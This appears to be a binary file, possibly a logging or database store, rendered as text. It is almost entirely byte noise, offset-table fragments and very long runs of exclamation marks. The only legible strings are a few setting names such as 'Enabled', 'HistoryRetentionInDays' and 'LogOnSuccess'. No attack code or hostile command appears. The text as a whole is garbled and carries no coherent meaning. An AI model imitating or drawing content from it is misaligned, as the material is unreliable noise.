	xdP<(						p	\	H	4	 		lXD0t`L|hT@,8$|hT@,xdP<(lXt`L8$D0H\p\H4 lXD0hT@,|hT@xdP,<(tL8`$xdP<(t`>J\(MFmg3_Dڎ'g3_.^g3_.^g3_Dڎ'g3_Dڎ']0f]YTg]/Utg]Dk=yk]L
9l]vnl.-me.-mPj.-me]2q]&rs]>6tXv(Xvu wx(x˿wy)z<8z(<8zy]M{{(u\{(|Nc})zNc}ro|Nc})z(x}KvM`]qazbAzbvM`zbA>o3h]w'ijvM`j>o3hjvM`r(v\juv]@]y\ju2`Xu]kLv]4x(y2`Xu(y@w(y2`Xu9{|3}]w|!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!4pT8dH,tX<h x\@L0$lP|`F7P8$tXvXvXvXvXvXvXvXvXvXvXv	xxxxxxxxxxx	)z)z)z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z<8z	u\{u\{u\{u\{u\{u\{u\{u\{u\{ro|ro|ro|ro|ro|||||x}x}x}x}x}KKixro|K@w@wS{S{S{K	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vhJ,xZ<X:jL.z\> lN0|^@"nP2~`3EvFx~p!Enabled8p9?HistoryRetentionInDays8p%+LogOnSuccess8!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!